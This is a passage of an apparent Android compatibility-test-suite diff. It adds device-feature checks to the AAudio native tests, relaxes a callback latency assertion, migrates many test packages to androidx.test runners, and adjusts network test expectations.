mHelper->initBuilder();
- mSetupSuccesful = false;
mHelper->createAndVerifyStream(&mSetupSuccesful);
if (!mSetupSuccesful) return;
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index d48aeab..7ed3319 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -22,6 +22,8 @@
#include <aaudio/AAudio.h>
#include <gtest/gtest.h>
+#include "utils.h"
+
constexpr int64_t kNanosPerSecond = 1000000000;
constexpr int kNumFrames = 256;
constexpr int kChannelCount = 2;
@@ -33,6 +35,10 @@
aaudio_content_type_t contentType,
aaudio_input_preset_t preset = DONT_SET,
aaudio_direction_t direction = AAUDIO_DIRECTION_OUTPUT) {
+ if (direction == AAUDIO_DIRECTION_INPUT
+ && !deviceSupportsFeature(FEATURE_RECORDING)) return;
+ else if (direction == AAUDIO_DIRECTION_OUTPUT
+ && !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
float *buffer = new float[kNumFrames * kChannelCount];
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
index 670c077..813b40c 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
@@ -143,6 +143,8 @@
}
void AAudioInputStreamCallbackTest::SetUp() {
+ mSetupSuccesful = false;
+ if (!deviceSupportsFeature(FEATURE_RECORDING)) return;
mHelper.reset(new InputStreamBuilderHelper(
std::get<PARAM_SHARING_MODE>(GetParam()),
std::get<PARAM_PERF_MODE>(GetParam())));
@@ -156,7 +158,6 @@
AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
}
- mSetupSuccesful = false;
mHelper->createAndVerifyStream(&mSetupSuccesful);
}
@@ -242,6 +243,8 @@
}
void AAudioOutputStreamCallbackTest::SetUp() {
+ mSetupSuccesful = false;
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
mHelper.reset(new OutputStreamBuilderHelper(
std::get<PARAM_SHARING_MODE>(GetParam()),
std::get<PARAM_PERF_MODE>(GetParam())));
@@ -255,7 +258,6 @@
AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
}
- mSetupSuccesful = false;
mHelper->createAndVerifyStream(&mSetupSuccesful);
}
@@ -300,8 +302,11 @@
}
EXPECT_GE(mCbData->minLatency, 1); // Absurdly low
- EXPECT_LE(mCbData->maxLatency, 300); // Absurdly high, should be < 30
- // Note that on some devices it's 200-something
+ // We only issue a warning here because the CDD does not mandate a specific minimum latency
+ if (mCbData->maxLatency > 300) {
+ __android_log_print(ANDROID_LOG_WARN, LOG_TAG,
+ "Suspiciously high callback latency: %d", mCbData->maxLatency);
+ }
//printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
}
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
index a3aa75d..8713b46 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
@@ -21,6 +21,8 @@
#include <android/log.h>
#include <gtest/gtest.h>
+#include "utils.h"
+
// Creates a builder, the caller takes ownership
static void create_stream_builder(AAudioStreamBuilder** aaudioBuilder) {
aaudio_result_t result = AAudio_createStreamBuilder(aaudioBuilder);
@@ -85,6 +87,7 @@
// Test creating a default stream with everything unspecified.
TEST(test_aaudio, aaudio_stream_unspecified) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
@@ -110,6 +113,7 @@
};
TEST_P(AAudioStreamBuilderSamplingRateTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setSampleRate(aaudioBuilder, GetParam());
@@ -138,6 +142,7 @@
};
TEST_P(AAudioStreamBuilderChannelCountTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setChannelCount(aaudioBuilder, GetParam());
@@ -171,6 +176,7 @@
};
TEST_P(AAudioStreamBuilderFormatTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -198,6 +204,7 @@
};
TEST_P(AAudioStreamBuilderSharingModeTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -225,6 +232,10 @@
};
TEST_P(AAudioStreamBuilderDirectionTest, openStream) {
+ if (GetParam() == AAUDIO_DIRECTION_OUTPUT
+ && !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
+ if (GetParam() == AAUDIO_DIRECTION_INPUT
+ && !deviceSupportsFeature(FEATURE_RECORDING)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -254,6 +265,7 @@
};
TEST_P(AAudioStreamBuilderBufferCapacityTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setBufferCapacityInFrames(aaudioBuilder, GetParam());
@@ -287,6 +299,7 @@
};
TEST_P(AAudioStreamBuilderPerfModeTest, openStream) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
AAudioStreamBuilder *aaudioBuilder = nullptr;
create_stream_builder(&aaudioBuilder);
AAudioStreamBuilder_setPerformanceMode(aaudioBuilder, GetParam());
diff --git a/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp b/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
index fa82f71..dfde6e7 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
@@ -23,12 +23,14 @@
#include <gtest/gtest.h>
#include "test_aaudio.h"
+#include "utils.h"
constexpr int kNumFrames = 256;
constexpr int kChannelCount = 2;
// Test AAUDIO_SESSION_ID_NONE default
static void checkSessionIdNone(aaudio_performance_mode_t perfMode) {
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
float *buffer = new float[kNumFrames * kChannelCount];
@@ -72,6 +74,10 @@
// Test AAUDIO_SESSION_ID_ALLOCATE
static void checkSessionIdAllocate(aaudio_performance_mode_t perfMode,
aaudio_direction_t direction) {
+ // Since this test creates streams in both directions, it can't work
+ // if either of them is not supported by the device.
+ if (!deviceSupportsFeature(FEATURE_RECORDING)
+ || !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
float *buffer = new float[kNumFrames * kChannelCount];
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.cpp b/tests/tests/nativemedia/aaudio/jni/utils.cpp
index 55d1e13..d843614 100644
--- a/tests/tests/nativemedia/aaudio/jni/utils.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/utils.cpp
@@ -16,9 +16,12 @@
#define LOG_TAG "AAudioTest"
+#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
+#include <string>
+
#include <android/log.h>
#include <gtest/gtest.h>
@@ -51,6 +54,28 @@
return "UNKNOWN";
}
+// Runs "pm list features" and attempts to find the specified feature in its output.
+bool deviceSupportsFeature(const char* feature) {
+ bool hasFeature = false;
+ FILE *p = popen("/system/bin/pm list features", "re");
+ if (p) {
+ char* line = NULL;
+ size_t len = 0;
+ while (getline(&line, &len, p) > 0) {
+ if (strstr(line, feature)) {
+ hasFeature = true;
+ break;
+ }
+ }
+ pclose(p);
+ } else {
+ __android_log_print(ANDROID_LOG_FATAL, LOG_TAG, "popen failed: %d", errno);
+ _exit(EXIT_FAILURE);
+ }
+ __android_log_print(ANDROID_LOG_INFO, LOG_TAG, "Feature %s: %ssupported",
+ feature, hasFeature ? "" : "not ");
+ return hasFeature;
+}
// These periods are quite generous. They are not designed to put
// any restrictions on the implementation, but only to ensure sanity.
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
index 7f38fef..4211410 100644
--- a/tests/tests/nativemedia/aaudio/jni/utils.h
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -24,6 +24,11 @@
const char* performanceModeToString(aaudio_performance_mode_t mode);
const char* sharingModeToString(aaudio_sharing_mode_t mode);
+static constexpr const char* FEATURE_PLAYBACK = "android.hardware.audio.output";
+static constexpr const char* FEATURE_RECORDING = "android.hardware.microphone";
+static constexpr const char* FEATURE_LOW_LATENCY = "android.hardware.audio.low_latency";
+bool deviceSupportsFeature(const char* feature);
+
class StreamBuilderHelper {
public:
struct Parameters {
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index c355fa0..df28c7b 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/ndef/AndroidManifest.xml b/tests/tests/ndef/AndroidManifest.xml
index dcec27d..57320da 100644
--- a/tests/tests/ndef/AndroidManifest.xml
+++ b/tests/tests/ndef/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.ndef.cts"
android:label="CTS tests of NDEF data classes">
<meta-data android:name="listener"
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 1430071..45941a7 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -41,8 +41,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
core-tests-support \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ctstestserver \
mockwebserver \
junit \
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index 0bfb650..b261b39 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -42,7 +42,7 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.net.cts"
android:label="CTS tests of android.net">
<meta-data android:name="listener"
diff --git a/tests/tests/net/jni/NativeDnsJni.c b/tests/tests/net/jni/NativeDnsJni.c
index 352c0c5..6d3d1c3 100644
--- a/tests/tests/net/jni/NativeDnsJni.c
+++ b/tests/tests/net/jni/NativeDnsJni.c
@@ -120,8 +120,8 @@
gai_strerror(res));
return JNI_FALSE;
}
- if (strstr(buf, "google.com") == NULL) {
- ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com: %s",
+ if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+ ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
GoogleDNSIpV4Address, buf);
return JNI_FALSE;
}
@@ -133,8 +133,9 @@
res, gai_strerror(res));
return JNI_FALSE;
}
- if (strstr(buf, "google.com") == NULL) {
- ALOGD("getnameinfo(%s) didn't return google.com: %s", GoogleDNSIpV6Address2, buf);
+ if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+ ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
+ GoogleDNSIpV6Address2, buf);
return JNI_FALSE;
}
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 441bee3..810b5df 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -24,6 +24,7 @@
import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
+
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import android.app.Instrumentation;
@@ -50,28 +51,30 @@
import android.os.SystemClock;
import android.os.SystemProperties;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
import android.system.Os;
import android.system.OsConstants;
import android.test.AndroidTestCase;
import android.text.TextUtils;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import com.android.internal.R;
import com.android.internal.telephony.PhoneConstants;
+import libcore.io.Streams;
+
import java.io.File;
import java.io.FileNotFoundException;
-import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
-import java.lang.NumberFormatException;
import java.net.HttpURLConnection;
import java.net.Inet6Address;
import java.net.InetAddress;
-import java.net.Socket;
import java.net.InetSocketAddress;
+import java.net.Socket;
import java.net.URL;
import java.net.UnknownHostException;
import java.nio.charset.StandardCharsets;
@@ -83,7 +86,6 @@
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import libcore.io.Streams;
public class ConnectivityManagerTest extends AndroidTestCase {
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
index ace1cde..af1e760 100644
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ b/tests/tests/net/src/android/net/cts/MacAddressTest.java
@@ -19,11 +19,13 @@
import static android.net.MacAddress.TYPE_BROADCAST;
import static android.net.MacAddress.TYPE_MULTICAST;
import static android.net.MacAddress.TYPE_UNICAST;
+
import static org.junit.Assert.fail;
import android.net.MacAddress;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e85de2a..e0c03a1 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -24,9 +24,10 @@
import android.content.Context;
import android.net.ConnectivityManager;
import android.os.FileUtils;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.SystemUtil;
@@ -37,7 +38,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index af91fbf..2ed0124 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -874,6 +874,15 @@
TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+ // TODO: remove this sleep as soon as b/124330089 is fixed.
+ try {
+ Log.d(TAG, "Sleep for 2 seconds");
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ Log.d(TAG, "Thread InterruptedException!");
+ }
+
stopLocalOnlyHotspot(callback, wifiEnabled);
// wifi should either stay on, or come back on
@@ -949,6 +958,15 @@
}
assertTrue(caughtException);
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+ // TODO: remove this sleep as soon as b/124330089 is fixed.
+ try {
+ Log.d(TAG, "Sleep for 2 seconds");
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ Log.d(TAG, "Thread InterruptedException!");
+ }
+
stopLocalOnlyHotspot(callback, wifiEnabled);
}
}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 55fa4d1..0cb1260 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
ctstestserver
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index d4ce39a..aedf708 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="org.apache.http.legacy" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.netsecpolicy.usescleartext.false.cts"
android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to denied.">
<meta-data android:name="listener"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 033d7ea..ec4dab3 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
ctstestserver
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index fe31e80..74964cc 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="org.apache.http.legacy" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.netsecpolicy.usescleartext.true.cts"
android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to permitted.">
<meta-data android:name="listener"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index c10a19a..fba1086 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
ctstestserver
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index c6b65c0..2a11085 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="org.apache.http.legacy" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.netsecpolicy.usescleartext.unspecified.cts"
android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is not specified.">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/manifest.xml b/tests/tests/networksecurityconfig/manifest.xml
index 0c1e85d..2950baf 100644
--- a/tests/tests/networksecurityconfig/manifest.xml
+++ b/tests/tests/networksecurityconfig/manifest.xml
@@ -25,7 +25,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 4af2de7..849aff5 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
index 972052e..79de309 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 95e14ef..6aeca33 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
index 3e5fe25..ff685bb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
index 6dc6c5d..b6624d5 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
index bec926e..0607b77d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 278d634..5506fba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
index 8ee5482..22cbc99 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index fd5f419..3a12e34 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
index 28bba5b..7587bab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
@@ -25,7 +25,7 @@
</application>
<uses-permission android:name="android.permission.INTERNET" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDebugDisabledTestCases"
android:label="">
<meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index d808928..f78be24 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
